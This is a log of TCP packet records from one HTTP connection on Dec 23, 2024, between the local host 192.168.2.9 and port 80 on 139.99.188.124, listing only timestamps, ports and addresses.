Dec 23, 2024 08:40:14.187972069 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.191998005 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.192074060 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.192116976 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.196224928 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.196294069 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.196712971 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.200447083 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.200563908 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.200614929 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.204720020 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.204770088 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.204824924 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.208899975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.209045887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.209093094 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.213126898 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.213184118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.213254929 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.217324018 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.217463017 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.217546940 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.221509933 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.221673965 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.221729994 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.225780010 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.225800037 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.226058960 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.230101109 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.230160952 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.230254889 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.234255075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.234298944 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.234477997 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.238444090 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.238595963 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.238708973 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.242650032 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.242799044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.242902040 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.246841908 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.246979952 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.247020960 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.251035929 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.251239061 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.251288891 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.255290985 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.255594015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.255825043 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.259557962 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.259583950 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.259643078 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.263761044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.263962030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.264012098 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.267959118 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.268069983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.268121004 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.272288084 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.272294044 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.272337914 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.276411057 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.276459932 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.276750088 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.280627966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.280723095 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.280771971 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.284853935 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.284981966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.285079956 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.289046049 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.289139032 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.289237976 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.293291092 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.293423891 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.293488026 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.297485113 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.297648907 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.297688961 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.301707029 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.301810980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.301852942 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.305775881 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.305942059 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.306027889 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.309779882 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.309819937 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.310004950 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.313474894 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.313590050 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.314071894 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.317073107 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.317178011 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.317306042 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.320578098 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.320749998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.320797920 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.324002981 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.324016094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.324076891 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.327408075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.327490091 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.327543974 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.330497980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.330634117 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.330681086 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.333712101 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.333827972 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.333880901 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.336906910 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.336961031 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.337007046 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.339977980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.340038061 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.340106010 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.342988968 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.343131065 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.343178034 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.346012115 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.346090078 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.346148014 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.349030972 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.349112034 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.349158049 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.351979017 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.351991892 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.352041006 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.353771925 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.353787899 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.353842020 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.355490923 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.355710983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.355772972 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.357364893 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.357378006 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.357449055 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.359074116 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.359155893 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.359204054 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.361012936 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.361025095 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.361066103 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.362673998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.362687111 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.362739086 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.364449024 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.364461899 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.364526033 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.366153002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.367376089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.367440939 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.367948055 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.367959976 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.368004084 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.369700909 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.369714022 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.369757891 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.371370077 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.371381998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.371448040 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.373035908 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.373478889 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.373538971 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.374790907 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.374975920 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.375029087 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.376590014 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.377232075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.377569914 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.378232002 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.379053116 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.379167080 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.380104065 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.380116940 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.380197048 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.381517887 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.381616116 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.381793976 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.383145094 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.383157015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.383232117 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.384689093 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.384751081 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.384838104 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.406975031 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.407001972 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.407058954 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.407656908 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.407675982 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.407788992 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.408421040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.408508062 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.408590078 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.409837008 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.409979105 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.410156965 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.411001921 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.411140919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.411189079 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.412537098 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.412620068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.412664890 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.413991928 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.414113045 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.414225101 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.415446043 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.415582895 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.415623903 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.416934013 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.416970015 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.417015076 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.427139997 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.427279949 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.427330971 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.427898884 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.427994013 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.428236961 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.429440975 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.429548025 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.429591894 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.430840969 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.430886030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.431057930 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.447621107 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.447724104 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.448040962 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.448332071 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.448435068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.448601007 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.449773073 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.449949980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.450201988 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.451227903 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.451284885 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.451680899 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.452713966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.452794075 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.452842951 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.454065084 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.454207897 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.454529047 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.455578089 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.455682039 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.455769062 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.456932068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.457070112 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.457117081 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.458369017 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.458484888 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.458528996 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.459806919 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.459975004 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.460024118 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.461256981 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.461714983 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.461762905 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.462699890 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.462868929 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.462914944 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.463988066 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.464118004 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.464169979 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.465383053 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.465437889 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.465642929 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.466823101 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.466890097 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.466962099 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.468421936 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.468447924 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.468523979 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.469583035 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.469703913 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.469743967 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.470909119 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.471045017 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.471168041 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.472310066 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.472322941 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.472372055 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.473632097 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.473830938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.473880053 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.474957943 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.475073099 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.475120068 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.476320982 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.476761103 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.476835012 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.477650881 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.477839947 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.477890015 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.478956938 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.479022980 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.479070902 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.480300903 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.480314970 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.480361938 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.481517076 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.481599092 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.481731892 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.482733011 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.482853889 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.482908964 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.484040976 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.484117985 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.484173059 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.485275030 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.485398054 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.485440016 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.486463070 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.486566067 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.486613989 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.487601042 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.487740040 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.487785101 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.488806009 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.488914013 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.489181995 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.490061998 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.490391016 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.490436077 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.491149902 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.491317987 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.491429090 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.492391109 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.492465019 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.492527962 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.493474960 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.493578911 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.493685961 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.494606972 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.494651079 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.494795084 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.495696068 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.495831966 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.495893955 CET	49813	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:14.496802092 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.496934891 CET	80	49813	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:14.496975899 CET	49813	80	192.168.2.9	139.99.188.124
